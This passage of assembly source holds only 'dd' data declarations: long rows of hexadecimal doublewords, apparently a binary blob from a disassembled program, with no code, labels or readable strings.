		dd 5B42F580h, 3303A2AFh, 2F8BEFC8h, 8E14A237h, 0CCD9C0D8h
		dd 3EDF0FCDh, 1807D2FAh, 976FCB04h, 0C42F4056h,	8F7FC830h
		dd 58F03D74h, 18FB723Ch, 84100737h, 4A28C71Bh, 60F4332h
		dd 0C550087Ch, 0C979AF8Ch, 96540C0h, 0A6E58EFFh, 699C0560h
		dd 259A90Dh, 0AA381090h, 0F3FE7460h, 0D3012574h, 0ADAF9389h
		dd 21D05A4Ch, 1FFB78E0h, 0ECB1E5Fh, 0EF82318Bh,	0C4888086h
		dd 7F550DCh, 4416500Eh,	0BFF06267h, 0C550C02Ch,	0C0B4A3A9h
		dd 708F367Ch, 0CFCB0017h, 0CEFF0872h, 88A09467h, 8C092A0h
		dd 6FC837B9h, 2E20C659h, 0DD29D178h, 6CC0FC65h,	7CCB2A7h
		dd 501660D3h, 0CF8B1022h, 80073AD8h, 8AADB54Fh,	0B81EBF45h
		dd 0CDFC6C01h, 582710AFh, 867F302h, 0B4407D3Bh,	0F0A02C30h
		dd 90A0E04Fh, 380DAC0Fh, 8082F23h, 0C0BD7CE0h, 80464058h
		dd 903E8E8Fh, 19820329h, 7BFAF23h, 0AC6E6F80h, 6A60408Ah
		dd 0F43CEF36h, 90CF1986h, 0AEE90F98h, 0A504208Ch, 4A509650h
		dd 0CCA9F7C4h, 1F20BC22h, 6F074386h, 2F42D75Ch,	7A88F82h
		dd 4FC1D54Ah, 488BDD24h
		dd 7403F866h, 830B550h,	0D096117Bh, 62CF3793h, 214C4240h
		dd 211D5241h, 0BC9FD188h, 73771260h, 46DF9004h,	1B206083h
		dd 400E8F28h, 0E4A226A2h, 0C8C09BBBh, 48DF27C2h, 0C6C0B698h
		dd 3F9F806Fh, 49EF800Ch, 7C2BE8FCh, 0D1F0CCE7h,	0E540F5C8h
		dd 48E46E2Ah, 0C20F1058h, 0CF801008h, 47183A04h, 0E20808E4h
		dd 0CA7658C3h, 1928A325h, 0E05B4F38h, 9926210Fh, 1549F3A0h
		dd 34BFD189h, 36292002h, 6B0E2C40h, 28C048C4h, 1A3F0881h
		dd 3D06188Fh, 1EDB0C1Fh, 2E7CF030h, 0F93CCF12h,	0C6B14C07h
		dd 73FB6F41h, 7CD30FC8h, 48C5E897h, 0DF13D05Dh,	779C047Bh
		dd 5EA0816Bh, 0ECE0D343h, 0F38360Dh, 4F127431h,	0D8048425h
		dd 6CC095CAh, 0E8CDC21Fh, 0D30D3E06h, 8014C526h, 0AEFF5F5Eh
		dd 31F1F5D6h, 3026DF5Ch, 4E045098h, 0BCC0D0A2h,	30CDDE0Fh
		dd 0EF3894CFh, 8CCC189h, 4CB049D1h, 11131819h, 0A9380437h
		dd 3878C07Ch, 4F70C83Ah, 642F08C2h, 0F73860D6h,	0FC32F954h
		dd 0DA437CCEh, 0C1ACC9E5h, 30B0E3E8h, 20485020h, 5AC50E00h
		dd 0FC268A80h, 0B1BD123Ch, 9F453C05h, 0F31D409h, 58429264h
		dd 4ADF20Fh, 0BC7891B1h, 1D030C4h, 5428A56Ah, 1EBAEF93h
		dd 0F9290CF4h, 154C3C70h, 10F331ECh, 4420078Fh,	3CE2480Fh
		dd 0CC501C48h, 48FF48AFh, 0E17BCF0Fh, 3C81809Ah, 8C165B2Fh
		dd 50FB6440h, 323892C4h, 0D650A107h, 0DDA18463h, 3D108C9Dh
		dd 3A2058D0h, 2A33231Fh, 8008E79h, 948B654Fh, 0E8B4FA41h
		dd 0A25A03E1h, 3D75C1CFh, 0C7EC61E0h, 7A0001F0h, 0FEA1FCC4h
		dd 3A21D741h, 3E7874B7h, 3E7A35DDh, 0AC4F3E58h,	642860F9h
		dd 3A215FEEh, 813814ECh, 615AD58Fh, 0C183EBEFh,	838FD7BDh
		dd 5038829Ch, 74C3B8D1h, 20001974h, 0E1CE6B4Bh,	0FCAFA3h
		dd 0CFDBBA21h, 15186761h, 2A8E1E00h, 989BDCC2h,	92600003h
		dd 6D023F06h, 0E1792699h, 0C1D73B03h, 0BDC225DEh, 0EF791C60h
		dd 0E69E206Ah, 9A4AE22Eh, 0C380DC37h, 0C3A844C0h, 0CEC88B78h
		dd 18E020A1h, 55983Ch, 3BDFA53Eh, 266DE142h, 6B0050AEh
		dd 8794A804h, 4C223B0Ah, 0C10139AFh, 8126BC76h,	110BA97h
		dd 0A18F4035h, 61D0CAB8h, 8776237h, 0CC8EC341h,	0C186222Fh
		dd 13318E9h, 4521A3h, 1CD04130h, 8530A194h, 70B780A0h
		dd 4FBF50C4h, 941D5D00h, 3C3C7B21h, 0BE6C1F5Bh,	20BB373Ch
		dd 18D710C3h, 505ADB60h, 188031C0h, 8680C6CCh, 904878B9h
		dd 66806414h, 0BA061081h, 8DC3588Ch, 27672348h,	837FAF28h
		dd 608E6DC1h, 0E77B8E08h, 7E853D6h, 2CAA5E1Dh, 7AC3601Ch
		dd 0A120E467h, 7BF41627h, 3D103AA7h, 0DD1A8701h, 8706A604h
		dd 0C0D80710h, 0E6196681h, 0C46390F3h, 2F261D3Fh, 951F3DF7h
		dd 0AE0607CCh, 9C8C4FA9h, 3A1F6628h, 7D0E3FF9h,	620F96ABh
		dd 88C603D4h, 0D2181CAFh, 67103EFEh, 0AA4F18F7h, 81C48428h
		dd 46A560D9h, 0F24A681Eh, 6379BE1Ah, 8746E7FBh,	3A861F08h
		dd 7C6609D8h, 0BF06F201h, 0E5A6E180h, 5908CD0h,	63CF1050h
		dd 24457825h, 110F6033h, 0E740EE95h, 2D463880h,	2E8604FAh
		dd 0C4808963h, 0DC300194h, 4526F259h, 53209417h, 0A4660C94h
		dd 406508CDh, 0C35025A9h, 0CE057494h, 0C5B9C63Eh, 0DC5D9006h
		dd 0F1B43120h, 41CC8C70h, 1AB12A0h, 0E08C39B7h,	60208187h
		dd 0C60F037Ch, 3F311C9h, 0E1F2B463h, 0A0126DCh,	53F080EEh
		dd 83AFA02h, 3D92F829h,	0D0810121h, 7020CC7Dh, 0B4104C50h
		dd 2F9D3B09h, 90FB00A7h, 1D47BD4Eh, 0B3D787h, 4E49907h
		dd 1E52C946h, 0A1F6031Ch, 61EA06h, 85C2B058h, 45FFA747h
		dd 1046F214h, 58661A8Ch, 4A4C38E8h, 40187307h, 0ED02D051h
		dd 7A4746F6h, 0BB8483E4h, 0BC400009h, 0B5A6F312h, 0F6E8F229h
		dd 0B247A52h, 80A3C286h, 0F020CD68h, 0C049C6AAh, 0C138C068h
		dd 1C5714h, 3EB8BB48h, 2020F807h, 6729A610h, 0DA8174BFh
		dd 56CCA10Bh, 25553000h, 4CC7471Bh, 280A808h, 3C67242Ch
		dd 15A700A4h, 64277BECh, 24481348h, 26077C06h, 0E94EFA8Ah
		dd 83880F4Eh, 0F93E9E6Ch, 108AD1B3h, 1BF0F21Ch,	17E13815h
		dd 48A3E776h, 786400Ah,	310EFC37h, 8AE689E8h, 22090089h
		dd 363003FFh, 8E0814C5h, 4518980Eh, 405F58DDh, 84FCC8A3h
		dd 0CDE42C10h, 69AE7508h, 0B500478h, 8BF883D5h,	0A7C6980Ah
		dd 0B918C8A3h, 900D2608h, 48662480h, 0ECC61494h, 0B72C98A0h
		dd 70980554h, 938C44Ch,	575E547h, 0C470DA98h, 0F5DF9AB8h
		dd 44908187h, 604775B4h, 0BA2A4254h, 0B0F46554h, 90AA3B31h
		dd 0EC20CE4Eh, 1AF1C728h, 0E0348A08h, 0A7FCCABAh, 7ED099C2h
		dd 996C43C2h, 38E81C81h, 57D90F5Ch, 0C0018D32h,	0F0AD1449h
		dd 2F0FF1C1h, 80D848A2h, 0E0BC6C0Ch, 0C07029EBh, 0E7740118h
		dd 0D8DBECh, 793FC842h,	0C31F051Dh, 31644BE0h, 0D8E30A30h
		dd 0F35C8CECh, 60A73057h, 1B01F96Ch, 408BCC13h,	0E0C679C1h
		dd 4603304Ch, 73E9EBB7h, 828AF9CBh, 4135A8D3h, 0AA981F0Eh
		dd 7AFF001Bh, 0AF501AC6h, 786C3Fh, 0BC4939Ah, 7B6F956h
		dd 0B764A92Bh, 0CBA2536Bh, 48A156E7h, 8CD8DF4h,	0CCFC1018h
		dd 61D87458h, 0BCAB1893h, 8C408FFFh, 8C6B0E26h,	4055101Ah
		dd 8C39B7Dh, 0C0BFEAABh, 0C66A89EBh, 58271E78h,	1B8FE13Ch
		dd 0E1105AABh, 188F14CCh, 6B833A09h, 4BA09E02h,	10C69225h
		dd 3148C549h, 1630D9D4h, 694BE0DAh, 4EB309C0h, 63F92BB7h
		dd 0B69A4854h, 936D68Fh, 18C46833h, 0EB081869h,	0DD8B18B8h
		dd 0ABB7BB06h, 1E486B43h, 0ECAE35Fh, 0B82E0AFh,	908649A0h
		dd 90F89011h, 0A12B20C7h, 19EBB6B0h, 314BEA47h,	70806063h
		dd 6D108161h, 196BB6FCh, 67ABD040h, 2130C5F6h, 23A8059Ch
		dd 0BF980625h, 8F6198D6h, 320D0B68h, 8547EC40h,	0A02B14C4h
		dd 14188080h, 7B55006h,	2F6448C6h, 284F6130h, 0D07283CBh
		dd 566FA8Bh, 50399EF0h,	504BBC71h, 24ABFC37h, 19182B9Ah
		dd 8DDD61A8h, 30CD4B38h, 2886E5F9h, 58878E6Bh, 1884FB31h
		dd 9C417164h, 688D8212h, 0D5106A22h, 30E08A70h,	9C12A44Ch
		dd 0CD634845h, 20C5A40Dh, 93EA6CE0h, 449E034Ch,	0A1BFEC89h
		dd 41DC6178h, 27036B90h, 0DA077E60h, 7F25A4D4h,	0C2380161h
		dd 98A1CC42h, 18075A28h, 2826CE96h, 50D13E21h, 28F5C014h
		dd 0C41E2353h, 1CDC178h, 0B7373E8Bh, 6B184Ch, 0CF3DF25Fh
		dd 18B94F16h, 94024101h, 68408B78h, 844BD0h, 2FEB64D8h
		dd 0E96B5636h, 0DE8F873h, 802BF0FFh, 5C106163h,	448BF84Ch
		dd 0F0EBFEBAh, 8008C0ABh, 0BEF7AE22h, 0C270536Fh, 211CC7ADh
		dd 20D2A4E1h, 2D0623CFh, 0B5F64B7Fh, 0BD0B0110h, 9724CB64h
		dd 0A4FCE457h, 632CECF1h, 794A20C5h, 87BA2C20h,	255101F2h
		dd 390118A4h, 0DB9880C1h, 0F62B78ABh, 300BF010h, 72186084h
		dd 8B01648Ch, 0AB6A0595h, 0B0985ED0h, 0F30BC848h, 80604D52h
		dd 0DC055BA2h, 0A168C3C2h, 0ECE6A50Dh, 148652h,	32A8C9BDh
		dd 7D18C881h, 0ACA650C1h, 0A42B50CDh, 35FD73CAh, 0AD0BD4Bh
		dd 1DB4A591h, 0AB01BA80h, 4B562FA1h, 8C98A8F0h,	3F004486h
		dd 1B7AB331h, 1F611F63h, 4C789091h, 0BCB8FC27h,	0F0E0A063h
		dd 460830A1h, 0B7B9AB10h, 5C17ACA1h, 7A7C7DA0h,	0B7313C00h
		dd 937B8118h, 0C8AB1578h, 6515C0F3h, 0D1C01C56h, 3BD9068Ah
		dd 50442180h, 0C65DB88Ch, 78834B90h, 85B6CB20h,	456580A8h
		dd 0D02990D3h, 0A4854090h
		dd 0B17C6300h, 90D1E695h, 0C4122018h, 0BC111929h, 8781E2C0h
		dd 18CA892h, 28D962BBh,	0A8855A6Dh, 0BA403059h,	9E20FA54h
		dd 0B6A10B30h, 806563Fh, 0A3486810h, 7D8B1418h,	0A20ACE34h
		dd 40C70E1Bh, 0C188C104h, 0B66DEB68h, 0C0502264h, 6766C283h
		dd 18A500D3h, 5771C861h, 635333ABh, 87AF81F0h, 0C8484101h
		dd 0C8D665F1h, 4BF00272h, 1C43A738h, 0B5792E0h,	0E203CCA5h
		dd 10CA8E9Ch, 478221A1h, 0D3490364h, 82FE8A1h, 0B54F4168h
		dd 609E470Ch, 64CE21BBh, 0DCB0B461h, 0E1A10AF7h, 70C84CD7h
		dd 5B181671h, 1282515h,	83B543EFh, 0C6D1EB55h, 7AA10A89h
		dd 58A457F2h, 2D14DFCDh, 0AF02496h, 809871C1h, 563E6907h
		dd 1F8A9E43h, 29810610h, 7A3C61ACh, 12EF5A2h, 28874561h
		dd 0B999864Bh, 3DFE1016h, 0C451E779h, 0B880DCA4h, 3E606457h
		dd 5B1C911Dh, 2E12112h,	0C6692B1Ch, 2F1E1894h, 58B51216h
		dd 0AC37C38h, 3AF9DD80h, 0BA7289B0h, 0C8FBE402h, 0A9F1C882h
		dd 994D086h, 8B686E63h,	6308D699h, 0D12B303Eh, 546BC18Fh
		dd 28108C9Eh, 0D0779073h, 80B09008h, 7B26B87Fh,	106D088h
		dd 4960C016h, 7837E05Ah, 83B18468h, 0DD740B44h,	2010BB6Fh
		dd 40DA75A7h, 0D5B100E6h, 0DE4B67C0h, 9D7CC720h, 0A1F78000h
		dd 0D0E24C99h, 0A0C400DFh, 580C5FE6h, 0A80F614Fh, 67DD4E4Bh
		dd 0E0413CF3h, 18488C09h, 7157D89h, 613AAF5Bh, 70864648h
		dd 0D43E2702h, 907D28C0h, 18326D18h, 60527FD7h,	28DCBCE8h
		dd 3DC12B11h, 805A5EEDh, 63BA8859h, 4EFC0DEh, 0E960D43Fh
		dd 6723617Ah, 28B9ECB0h, 0D4574233h, 59740170h,	52738C39h
		dd 0A5C6FB20h, 0AB158F28h, 6881298Ch, 683F8029h, 81432343h
		dd 8015EDEh, 0B085CE44h, 0BD3C30F2h, 0E6330A78h, 0D6A850ACh
		dd 0B402B28h, 12E780A8h, 5210638Ah, 288AD381h, 602894A0h
		dd 19795AF2h, 0E4527400h, 4D77D881h, 94080F3Bh,	97A06516h
		dd 992A7F50h, 8CB1511Eh, 0FFA1E549h, 0D77B2500h, 14A81540h
		dd 55101712h, 0C13DF461h, 5B51ED85h, 0F028306Bh, 30200D4Bh
		dd 0F7E103EEh, 549B4C49h, 6CFB4DF0h, 7B1F7C74h,	0DB06602Ah
		dd 611869E9h, 0F29B08D3h, 1E284893h, 9FA29500h,	1E50239h
		dd 52130A72h, 603C0CDBh, 1FB82D3h, 5C21EB40h, 78470D33h
		dd 6C932402h, 4102D5F2h, 1B8C8353h, 7820B51Dh, 20A72F37h
		dd 610A910Fh, 5052AE7Ah, 5CA4BBE0h, 813D4024h, 0EDD8E300h
		dd 0AABECC92h, 0C1DD03BCh, 0B93AD6ECh, 2CB82A88h, 0B1F85900h
		dd 0D912ED03h, 32F03D8Ch, 0F2009BBCh, 52EE2372h, 20A4BD33h
		dd 0E11086F2h, 8548B6FEh, 126A62Ch, 0B85865B9h,	0A5384CAFh
		dd 0CC40F008h, 0AB3807F6h, 6E129074h, 30AEEB54h, 32007070h
		dd 59435518h, 79179A58h, 2CC853EEh, 9D822206h, 78052919h
		dd 72F1B90Eh, 0A0A95782h, 4E450114h, 984F40B7h,	0EB789B14h
		dd 3138B08Ch, 0B0DE20F4h, 7F10B801h, 6A1312EBh,	0CA72848h
		dd 0B4BE68AAh, 4A0AD828h, 7CB2EE16h, 121CEFC0h,	0C03E37ADh
		dd 0F04EC010h, 9C0DAD2h, 56F2660Dh, 2BAB3E4Ch, 0D99EF780h
		dd 7F4A0928h, 7C018B00h, 0F95BECF2h, 72690040h,	281BC030h
		dd 6D1FEA54h, 550706ACh, 0A3C62E8Fh, 0C8A00059h, 0CE4A16EFh
		dd 7207EA7Dh, 9A8FC112h, 0AFFF6040h, 0F408C605h, 0E8003098h
		dd 348DC128h, 73AD52Bh,	0DF4483E7h, 0DA6E702Ah,	0AB001E98h
		dd 0A1ACA526h, 51C05EAAh, 0A000C9BCh, 61FEB955h, 77FAD0A6h
		dd 0C281D446h, 99400200h, 4B41641Eh, 1F20CE4Dh,	0C93C4740h
		dd 1250B610h, 3D0044E8h, 6EC032FFh, 9F1409Dh, 48AF3E9Fh
		dd 0C07DCA07h, 4BC65AA2h, 0EA8FBB31h, 0BCC4185Bh, 0BF6E0038h
		dd 4D39936Bh, 321CEC8Ah, 0CD40B08Eh, 9701842Bh,	0FD1301D3h
		dd 471AC531h, 0D1CBD417h, 907B600h, 9BAC2914h, 21900068h
		dd 3BED85AEh, 0C600FFE3h, 657BD425h, 1E9A2911h,	0C154A31Ch
		dd 5EC1D9EAh, 5F308091h, 2F9214B2h, 4645031Fh, 172EEF96h
		dd 202BADDBh, 156004B0h, 3CB5E9h, 1809421Fh, 0FAF3AF5h
		dd 82E6931Ch, 0FCAB0607h, 31D8F1Eh, 88E7B014h, 0CFAC8C29h
		dd 0C760D040h, 0E2A90EFBh, 8B95AD0Eh, 0ABD886E7h, 6D871620h
		dd 40D41EC4h, 0E66EF9B5h, 10603F9Fh, 0EDA20D21h, 4C70C6EBh
		dd 29216016h, 0C7BC8025h, 0E4F3C659h, 55FE4486h, 995BA700h
		dd 0A1DD5DAh, 0F37A0AEDh, 82902469h, 84A35A12h,	0C4005442h
		dd 3CE705F5h, 0F07D2536h, 96C80070h, 11915DFCh,	37005040h
		dd 2D907E8Fh, 747A0512h, 5A543057h, 32C17220h, 820085E0h
		dd 0E3C9988Bh, 19DB11Ah, 399376Bh, 2141F217h, 0D1ABD006h
		dd 0E1CA700h, 3CE45C20h, 0D8B41E99h, 0BC1600ADh, 0F2BDA4A9h
		dd 0F1200F63h, 298AD045h, 0E09B26E2h, 0C2A1DECh, 0C7201194h
		dd 88BC4D00h, 6716D159h, 1BA7037Ah, 0BF7D0EA1h,	0CB13A100h
		dd 1938A937h, 8E2B069Bh, 70AC435Fh, 3C28C900h, 77A75BBDh
		dd 0F71B00EBh, 88FF1936h, 28C1434Bh, 0F6B64CBFh, 72711880h
		dd 0D3915F33h, 0A6A39F1Bh, 0DBB1C0C9h, 3AA0009Eh, 2CF35BDCh
		dd 0C9306179h, 88E721FBh, 892009Eh, 0A8A64D56h,	0B501ECDCh
		dd 1C72FE67h, 0B180170Bh, 8CE25F20h, 79328A16h,	0B02DA8A7h
		dd 8CBB1C8h, 52A87E83h,	0F590362h, 7132C8E0h, 3C701F9Ah
		dd 0DBC39900h, 62193FABh, 0B201A12h, 0CD40B906h, 0EB5841DEh
		dd 53A4009Fh, 917695B1h, 0A3E7034Ah, 821C22AFh,	5AA21EB9h
		dd 25DA80CCh, 16F021BBh, 0A7FBF34h, 878803D5h, 4061CE31h
		dd 6B435644h, 0DFCFBE0Ch, 30EE61C8h, 92D9067Dh,	0C789537h
		dd 42881603h, 12A9BA7h,	3060EB71h, 60E2AE90h, 5C9138E2h
		dd 1F186D59h, 39947800h, 59F92F46h, 0ED070017h,	2E9C89E9h
		dd 9F2BC81Ch, 0AD3EF48Dh, 0A49769Eh, 43F4C962h,	7800CD43h
		dd 6D473D51h, 0AD1E6Ch,	0A0317E13h, 60E250F6h, 3C868980h
		dd 0FD48DAC3h, 1C12D105h, 23342E68h, 68200EEh, 9DD9765Bh
		dd 3108660Fh, 4429402Bh, 1B79A7h, 5722D304h, 91DBC947h
		dd 9A7B1875h, 2E407100h, 26C11F59h, 1B3C00D1h, 16488042h
		dd 101C6156h, 87C39734h, 887A5C1Dh, 313711h, 8020FA90h
		dd 1265B69Ch, 9A58218h,	2DC020h, 0D3A9F036h, 26B4C7FDh
		dd 4F5A9D01h, 0ADEC6C96h, 38C4A271h, 6DBE015Fh,	40725CEFh
		dd 0C86080EEh, 82922A17h, 56E10048h, 0B33B294Bh, 1500790Dh
		dd 0FD97B073h, 6A6018h,	0DEB8F57Bh, 79D9F9FAh, 70E9DB00h
		dd 0EF25F6E1h, 0CEB1C32Bh, 0F1A8750Ch, 8800E0A8h, 0A7F15ECh
		dd 3122FA6Fh, 21292D86h, 371CF01Eh, 813811C0h, 1E1B87Ch
		dd 8A1D834Ah, 80C6BB8Eh, 203778C0h, 195DB66Fh, 0C8C02F9Dh
		dd 0A8F4D056h, 707B9430h, 75806BCh, 0BFB45EF9h,	0B81D93F5h
		dd 803B08A7h, 48597F31h, 0DB7896h, 95AF8DD3h, 9F2C384Ch
		dd 76021773h, 5A5CF199h, 0DB3D6072h, 0B90300B4h, 8C476B40h
		dd 9100E4A1h, 0AEF390EEh, 6DF777h, 0A735CCB7h, 165D967Ch
		dd 68C0AA00h, 0C38E8BCFh, 7098BEh, 9B748A5Fh, 91035D98h
		dd 6DE9FD02h, 80B2FFC9h, 6CE304FEh, 0B3BC0083h,	0E77D9A62h
		dd 0DA01AF18h, 54BA0756h, 2180334Bh, 6173FC03h,	0F41F0618h
		dd 3A426Ah, 94752716h, 76F31A8h, 0DE12F0B5h, 0FDBFA393h
		dd 5E3A2ED8h, 53672000h, 0F93D0289h, 0B3BD044Bh, 0C0486342h
		dd 76F6813Ch, 5F2E460Eh, 21108C71h, 90C100EEh, 2F41ADF8h
		dd 7EE4F19Bh, 7346A700h
		dd 8386505h, 6C977C09h,	9DA830B7h, 7B1C870Ch, 531155h
		dd 3D7EEC1h, 0DE3D59ECh, 38308AEAh, 4EA221A9h, 56630CEFh
		dd 1149DD1Fh, 738D7400h, 0AAA0CFF1h, 56A7448h, 7BBF5403h
		dd 10642E3Bh, 40C3C15Ah, 95C17585h, 933FFCE8h, 2FDEDB1Fh
		dd 0B84501BAh, 10EC30DDh, 88D09FD6h, 0ED60D6F6h, 6159DBh
		dd 77AE9F9h, 0EC6591EBh, 99634A01h, 0E8C07402h,	143B55F0h
		dd 945718B5h, 4D0BDC80h, 2C21166Fh, 2A414038h, 3F00350Bh
		dd 7D0875E6h, 0C44854h,	181535Fh, 0A8C90704h, 4FE08406h
		dd 39C613h, 5796A738h, 0BF8F9597h, 0BAF3E200h, 0CCB9643Bh
		dd 3D90FAD7h, 32BB6B7Ah, 3FDBE900h, 884FCF83h, 0AB5840C0h
		dd 23BE6Eh, 0E612668Ah,	0CC017DFCh, 8832030Eh, 542920E9h
		dd 84149Eh, 3C1293F9h, 0A8F87721h, 72008F7Ah, 40A7F1FBh
		dd 122DC83h, 172FA387h,	8C37D764h, 20A4E409h, 85B4007Ch
		dd 8A9C69BDh, 202AE696h, 0DD03C8BEh, 0FE03AD79h, 14DC2CA8h
		dd 0F8F00FD4h, 0B41C40F2h, 0AE3BC9D5h, 1D122B01h, 82223253h
		dd 572D9050h, 0A28C0BBh, 0B958B219h, 0B9A9800h,	0A8864F5Eh
		dd 51A10309h, 0C629C1D1h, 5BE0C009h, 2C7C0095h,	0A0136A6Ch
		dd 861A82DCh, 0B5EEB704h, 0EF615E6Eh, 26440140h, 9987D8h
		dd 0DF2B4D23h, 848D090Eh, 32B740C0h, 3C0815h, 729BBFD5h
		dd 2FF522DAh, 9C766D00h, 45204329h, 6B270235h, 0FA540286h
		dd 0A9027C46h, 5E801190h, 0C3001671h, 96166E51h, 0A5651Fh
		dd 0D0ACD48Bh, 0FFB3176Bh, 50183201h, 8A7A0A34h, 0E19655ECh
		dd 188033DDh, 0A64A52B5h, 1EF809D3h, 74556C1Fh,	5634A980h
		dd 60106DA1h, 0EB122819h, 1E01186Eh, 0D5B197ABh, 48D18EFAh
		dd 0B08049BEh, 989E1D6Ch, 69007C05h, 0A0E75ABh,	3B2C8FD6h
		dd 24005F85h, 0FFC2BD91h, 8A30A0E2h, 2DC4A0B5h,	0B47707BCh
		dd 309B047Dh, 50CAF34h,	8078AA0Eh, 555D0064h, 7BFFFE25h
		dd 0B039C0EEh, 408B9736h, 0AD3A1A00h, 0AC4A71E5h, 2121C04Eh
		dd 762496BBh, 0D70E1B07h, 8880077Ch, 6BB214F3h,	0D2C0A0C3h
		dd 2E615119h, 84C423C8h, 7B0D4183h, 18001554h, 0FDFFBE1Dh
		dd 332A555Ch, 0F3F8AE7Ah, 98E0D288h, 3095B4A8h,	0CC000F98h
		dd 7CAA1A3Eh, 6058109Ah, 6ABF21A4h, 7900E5D9h, 0CCE40FCAh
		dd 0E451585h, 31A6C23Dh, 8DE1BA0h, 0B6509D7Ch, 6F20DA94h
		dd 24C400B9h, 96882771h, 35CA928h, 413500AAh, 3782F9E2h
		dd 9E6C18DDh, 0D8E8B02Bh, 811C1A00h, 0AC666B0Ch, 414003FDh
		dd 9C87F534h, 0AF9F9788h, 64FCDF3Ch, 6760C1C8h,	3410A2D9h
		dd 0FDC819E7h, 24077281h, 4FE4F259h, 0EC6424FEh, 0E20ABC04h
		dd 94D9EBh, 0DFB71FC8h,	0E0A001B3h, 7B10E004h, 0CA005038h
		dd 17AE0C2Fh, 0E801C69Eh, 9B93B9Ah, 54208D76h, 671300D4h
		dd 8A1B53F6h, 0E76020CAh, 0CB73318h, 9D30017Ch,	6392263Bh
		dd 667E477h, 3F0FC000h,	0DD728A71h, 58689229h, 860C3DBEh
		dd 0A398FB6Dh, 8A27841Ch, 0CEBAAF03h, 1204E06Ch, 0EEEC1D6Bh
		dd 0D5FF008Eh, 0E1276106h, 0CD0B210Ah, 7783ACD8h, 7F7E586h
		dd 30763248h, 52EAB3CEh, 9C8A50E0h, 0B8586B24h,	0F871A08h
		dd 0BA0351AEh, 0D91E1394h, 0CC7F6F4Ch, 95F0061Eh, 113AE4h
		dd 0A6909D16h, 0B989F6E3h, 0E19B9F00h, 63391927h, 26FEE858h
		dd 1F5CCD1Bh, 0FF0D00DCh, 0F09E6168h, 2F55F600h, 0B572326Eh
		dd 0B193013Ch, 496F0EA2h, 68BBEB9Dh, 0D327BE8h,	28203000h
		dd 1F2E7A9Fh, 47952F5h,	313E8E3Eh, 0C782C15h, 3008A3E9h
		dd 651BCC40h, 0F9EC7Bh,	5CA4E7AEh, 7F08266Ah, 0C507D414h
		dd 4386790Ch, 8444210Ah, 42FAD1F2h, 2824C50Ch, 111820D4h
		dd 10258FB8h, 208A0456h, 0C6428A24h, 0DBC0A18h,	77213F0Ch
		dd 5C24D43Eh, 102A8D42h, 2A1210Ch, 0C6C46C10h, 349821EAh
		dd 0EB426308h, 0FB701422h, 9C04EE28h, 0D1DB3800h, 6C40C30Ah
		dd 0B8685446h, 60320049h, 61B119Dh, 3800F194h, 0F51D92CFh
		dd 35DB50Ah, 7ABD4AA3h,	91A1282Ch, 7C38803Dh, 4789FA50h
		dd 0C8795151h, 35C1CF4h, 1209E3F1h, 5B88ED2Dh, 87CBBC9h
		dd 1000476h, 0FD9F597Fh, 1D3B7955h, 378DB1Ah, 3A5F8002h
		dd 2FB3C5B8h, 0C80145EAh, 418AD893h, 4C4C4209h,	48761947h
		dd 0C9FE885Bh, 8684D85Eh, 0C96D7C0Bh, 0AD0000CFh, 1F615C81h
		dd 47DEA7FAh, 90061AC0h, 6F8E93B8h, 0BEB35307h,	0BAC042A5h
		dd 509F30EBh, 0CAD998CCh, 0E21CF908h, 3D1E6EC4h, 0EE005DE2h
		dd 40ED5A17h, 863AE4F2h, 879C0548h, 0C07C3146h,	0C00B40DDh
		dd 25574800h, 47975A2Dh, 296760F2h, 0E79299EDh,	321FDA00h
		dd 0CDD9C7C0h, 0FB107E6h, 0F10DC135h, 0F2316036h, 5DDA5C98h
		dd 2FF1E07h, 33718A17h,	0B9E08F93h, 0E7A20040h,	0DEC8D20Ch
		dd 7B1C76E4h, 0DFC02CEAh, 0F05E31EFh, 90C300ADh, 4CECC414h
		dd 9D036813h, 608B5A67h, 4F8288BEh, 0BB40AF8h, 147519h
		dd 0D4157B57h, 493B5A25h, 0B6B0E0BEh, 0E686098h, 84ED1AEEh
		dd 0D099009Fh, 1F6A87BAh, 19A7F101h, 0E12128DFh, 77FDE2ECh
		dd 0D0541DAEh, 0B4F987E0h, 0D37603C9h, 58857086h, 4CBF738Ah
		dd 3C81558h, 0B77C7E67h, 5A3A4FD4h, 0EA351D4Eh,	44314B83h
		dd 90BAA080h, 387B61AEh, 800A25CBh, 4D713740h, 372DDBD5h
		dd 80316E78h, 9A835A80h, 0D0F138h, 0B05EF567h, 1490601h
		dd 0CED7EDEh, 60C57F58h, 0AC0081EEh, 0EC81635h,	1CC9724Eh
		dd 0F9F7CA1h, 6E46EF06h, 1800B178h, 0F36283A3h,	3A016903h
		dd 6E801528h, 641454A8h, 3800B14Bh, 1916DB56h, 30314A82h
		dd 89B9601Dh, 1A002DDDh, 0A65D153Dh, 0DBB242h, 6E3BAB20h
		dd 9BE7C4E8h, 0AD1D7700h, 11E550DCh, 0BCBA076Ah, 70725210h
		dd 86683622h, 7F739h, 3C160B89h, 6DCAEA6h, 5B10BD12h, 0BAF658FBh
		dd 8DA25100h, 784AD615h, 47A16B9h, 19C2007Ch, 214716C2h
		dd 0D4B82B79h, 3C1DDD00h, 7BCAC789h, 490B1564h,	0C0FC4422h
		dd 512B3Ah, 0C94ACE48h,	7A2EA222h, 940E006Eh, 0F4F21E65h
		dd 0E1013E8Dh, 97BCF959h, 0B0FBAB88h, 0C9E503h,	7141DE07h
		dd 9DFF59E0h, 0AD1C2E09h, 0D5FC076Ch, 77B17B40h, 27078A1h
		dd 5EE7B4EAh, 0E086558Eh, 42063088h, 29CA6CCCh,	0C6770088h
		dd 0FD244E3Eh, 0AF00E4C1h, 0B7F7630Ah, 599707Fh, 0E364D4F9h
		dd 0ECD3034Bh, 51A33DCDh, 0BEE938B0h, 0F4DF9B00h, 0E747595Ah
		dd 1D4B06A2h, 1072F556h, 0A6BE8B0Fh, 0AA5DA237h, 0DF814060h
		dd 4BA3004Eh, 1C743FFEh, 7A07E98Ch, 0C8C1D8F5h,	789A6000h
		dd 39437C35h, 0D400C0B8h, 6A23FFEEh, 0B4FA0C02h, 5FFD0A1Ch
		dd 0A186DF40h, 3DF18C4Ch, 8803B50Fh, 11E8D12h, 48189CC0h
		dd 81551700h, 0CFE86C2Dh, 2230C0AFh, 47C00D3Fh,	63001C70h
		dd 0C75572DFh, 7EC74C8h, 18500E5Ah, 15D8C056h, 6E00B717h
		dd 6159B6EFh, 0E8874374h, 35E289h, 9840DACEh, 16DCA1C6h
		dd 0DD7A5D00h, 0CFCDA53Eh, 0AE76D2h, 632022FAh,	5EDB32E6h
